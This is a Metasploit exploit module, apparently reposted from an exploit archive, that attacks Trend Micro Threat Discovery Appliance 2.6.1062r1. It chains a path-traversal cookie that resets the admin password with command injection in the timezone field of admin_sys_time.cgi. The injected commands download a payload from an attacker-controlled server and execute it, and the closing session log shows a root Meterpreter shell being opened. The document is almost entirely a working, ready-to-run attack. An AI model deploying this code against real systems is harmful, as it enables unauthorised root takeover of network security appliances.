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Trend Micro Threat Discovery Appliance admin_sys_time.cgi Remote Command Execution

Posted on 19 April 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Trend Micro Threat Discovery Appliance admin_sys_time.cgi Remote Command Execution',
'Description' => %q{
This module exploits two vulnerabilities the Trend Micro Threat Discovery Appliance.
The first is an authentication bypass vulnerability via a file delete in logoff.cgi
which resets the admin password back to 'admin' upon a reboot (CVE-2016-7552).
The second is a cmdi flaw using the timezone parameter in the admin_sys_time.cgi
interface (CVE-2016-7547).

Note: You have the option to use the authentication bypass or not since it requires
that the server is rebooted. The password reset will render the authentication useless.
Typically, if an administrator cant login, they will bounce the box. Therefore, this
module performs a heart beat request until the box is bounced and then attempts to login
and to perform the command injection. This module has been tested on version 2.6.1062r1
of the appliance.
},
'Author' =>
[
'mr_me <steventhomasseeley@gmail.com>', # vuln + msf
'Roberto Suggi Liverani @malerisch', # vuln + msf
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://asciinema.org/a/112480'], # demo
[ 'CVE', '2016-7552'], # auth bypass
[ 'CVE', '2016-7547'], # cmdi
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
},
'Targets' =>
[
[ 'Trend Micro Threat Discovery Appliance 2.6.1062r1', {} ]
],
'DefaultOptions' =>
{
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 10 2017'))

register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The target URI', '/']),
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin']),
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
OptBool.new('AUTHBYPASS', [ true, 'Bypass the authentication', true ]),

], self.class)
end

def check
if do_login
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cgi-bin/about.cgi'),
'cookie' => @cookie,
'method' => 'GET',
}, 1)
if res and res.code == 200 and res.body =~ /About Trend Micro/
version = "#{$1}" if res.body =~ /var ver_str = new String("(.*)")/
case version
when /2.6.1062/
return Exploit::CheckCode::Vulnerable
end
end
end
return Exploit::CheckCode::Safe
end

def exploit
if datastore['AUTHBYPASS']
print_status("Bypassing authentication...")
if reset_password
print_good("The password has been reset!")
print_status("Waiting for the administrator to reboot...")
pwn_after_reboot
end
else
if do_login
pwn
else
fail_with(Failure::NoAccess, "Authentication failed")
end
end
end

def reset_password
c = "session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cgi-bin/logoff.cgi'),
'method' => 'GET',
'cookie' => c,
})

if res and res.code == 200 and res.headers.to_s =~ /Backtrace/
return true
end
return false
end

def pwn
start_http_server
print_good("Logged in")
download_exec
end

def pwn_after_reboot
@rebooted = false
while !@rebooted
if do_login
@rebooted = true
pwn
end
end
end

def on_request_uri(cli, request)
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
@elf_sent = true
send_response(cli, @pl)
end

def start_http_server
@pl = generate_payload_exe
@elf_sent = false

downfile = rand_text_alpha(8+rand(8))
resource_uri = '/' + downfile

# do not use SSL for the attacking web server
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end

if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end

@service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
service_url_payload = srv_host + resource_uri

print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})

datastore['SSL'] = true if ssl_restore
connect
end

def exec(cmd)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cgi-bin/admin_sys_time.cgi'),
'cookie' => @cookie,
'method' => 'POST',
'vars_post' => {
'act' => 'save',
'timezone' => cmd,
}
}, 1)
end

def download_exec
@bd = rand_text_alpha(8+rand(8))
register_file_for_cleanup("/tmp/#{@bd}")
exec("|`wget #{@service_url} -O /tmp/#{@bd}`")
exec("|`chmod 755 /tmp/#{@bd}`")
exec("|`/tmp/#{@bd}`")

# we need to delay, for the stager
select(nil, nil, nil, 5)
end

def do_login

begin
login = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cgi-bin/logon.cgi'),
'method' => 'POST',
'vars_post' => {
'passwd' => datastore['PASSWORD'],
'isCookieEnable' => 1,
}
})

# these are needed due to the reboot
rescue Rex::ConnectionRefused
return false
rescue Rex::ConnectionTimeout
return false
end
if login and login.code == 200 and login.body =~ /frame.cgi/
@cookie = "session_id=#{$1};" if login.get_cookies =~ /session_id=(.*);/
return true
end
return false
end
end
=begin
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/trend.rc
[*] Processing scripts/trend.rc for ERB directives.
resource (scripts/trend.rc)> use exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi
resource (scripts/trend.rc)> set RHOST 192.168.100.2
RHOST => 192.168.100.2
resource (scripts/trend.rc)> set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
resource (scripts/trend.rc)> set LHOST 192.168.100.13
LHOST => 192.168.100.13
resource (scripts/trend.rc)> exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.100.13:4444
[*] Bypassing authentication...
msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) >
[+] The password has been reset!
[*] Waiting for the reboot...
[*] 192.168.100.2:443 - Starting up our web service on http://192.168.100.13:1337/nnDBuOUMuKnxP ...
[*] Using URL: http://0.0.0.0:1337/nnDBuOUMuKnxP
[*] Local IP: http://192.168.100.13:1337/nnDBuOUMuKnxP
[+] Logged in
[*] 192.168.100.2:443 - Sending the payload to the server...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.100.2
[*] Meterpreter session 1 opened (192.168.100.13:4444 -> 192.168.100.2:46140) at 2016-09-23 14:59:08 -0500
[+] Deleted /tmp/rpNDXQZTB
[*] Server stopped.

msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 3846 created.
Channel 1 created.

BusyBox v1.00 (2010.10.13-06:52+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

/bin/sh: can't access tty; job control turned off
/opt/TrendMicro/MinorityReport/www/cgi-bin # id
id
uid=0(root) gid=0(root)
/opt/TrendMicro/MinorityReport/www/cgi-bin #
=end

 

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